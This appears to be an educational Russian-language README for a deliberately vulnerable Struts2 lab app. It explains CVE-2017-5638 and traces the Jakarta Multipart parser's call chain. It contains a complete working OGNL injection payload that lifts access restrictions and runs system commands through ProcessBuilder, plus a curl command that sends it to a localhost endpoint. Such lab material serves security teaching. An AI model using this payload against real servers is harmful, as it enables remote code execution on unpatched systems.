
Приложение Struts2, уязвимое к CVE-2017-5638. Объясняет, как работает эксплуатация уязвимости применительно к OGNL и парсеру JakartaMultiPart.
Это предназначено только для образовательных и исследовательских целей. Я не разрешаю и не поддерживаю любое незаконное или неэтичное использование содержимого или информации этого проекта
Для запуска веб-приложения:
Для отправки команд используйте эмулятор командной строки (Send.jar) проект:
пустой URL по умолчанию указывает на http://localhost:8080/MSCybersecurity/exploit; вы должны находиться на конечной точке /exploit

Если вы хотите изменить этот исходный код, проект использует систему сборки Maven:
NVD CVE-2017-5638
Ключевая особенность этой уязвимости — эксплуатация OGNL (Object Graph Navigation Library).
OGNL использует выражения для выполнения задач, и два разрешённых типа выражений — это возможность вызывать произвольные классы в фреймворке и связывать события в цепочку. Справочное руководство OGNL Language Guide.
Так, например, с помощью OGNL можно создать экземпляр объекта edu.uvu.ms.cybersecurity.Command
// OGNL expression to instantiate Command obj
(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity'))
Класс edu.uvu.ms.cybersecurity.Command
// Command simply prints the cmd argument passed from the OGNL expression
public class Command {
private Object cmd;
public Command(Object cmd){
this.cmd = cmd;
}
private void print(){
System.out.println("OGNL recieved cmd: "+this.cmd);
}
public void print(String loc){
System.out.println("OGNL recieved cmd: "+this.cmd+" from "+loc);
}
}
Или, в более практическом смысле, можно вызвать класс java.lang.ProcessBuilder для выполнения системных команд
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())
Следующая полезная нагрузка содержит команду для вызова edu.uvu.ms.cybersecurity.Command, вывода в консоль команды, отправленной на сервер, и последующего выполнения команды (для иллюстрации связывания событий в цепочку и вызова классов).
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Отправьте полезную нагрузку с помощью CURL
curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" -X POST http://localhost:8080/MSCybersecurity/exploit
Часть этой полезной нагрузки была взята из Rapid7 GitHub
Парсер Jakarta MultiPart:
Проблема в том, что парсер не экранирует входящие значения в заголовке Content-Type. Это означает, что выражение OGNL можно упаковать в заголовок Content-Type. Когда заголовок определяется как MultiPart, он передаётся в OgnlTextParser.class, который просто интерпретирует выражение OGNL и впоследствии выполняет произвольные команды.
Ниже приведён пошаговый разбор того, как эксплуатируется эта уязвимость.
Диспетчер Struts2: org.apache.struts2.dispatcher.Dispatcher
Класс Struts Dispatcher.class получает запрос, определяет, что он должен обрабатываться библиотекой JakartaMultiPart, и вызывает конструктор MultiPartRequestWrapper()

Затем выражение OGNL из заголовка Content-Type передаётся в метод parse(). Поскольку информация в заголовке некорректна, парсер вызовет исключение и обратится к методу buildErrorMessage()

Метод buildErrorMessage() пытается найти подходящее сообщение об ошибке для возврата пользователю, однако для этого ему приходится использовать метод findText() класса LocalizedTextUtil.class

Метод findText класса LocalizedTextUtil.class, в свою очередь, вызовет getDefaultMessage() и передаст информацию из Content-Type

Затем метод getDefaultMessage() делегирует выполнение методу translateVariables() класса TextParseUtil.class

Метод translateVariables() класса TextParseUtil.class делегирует выполнение методу evaluate класса OgnlTextParser.class

В результате любые выражения OGNL теперь выполняются
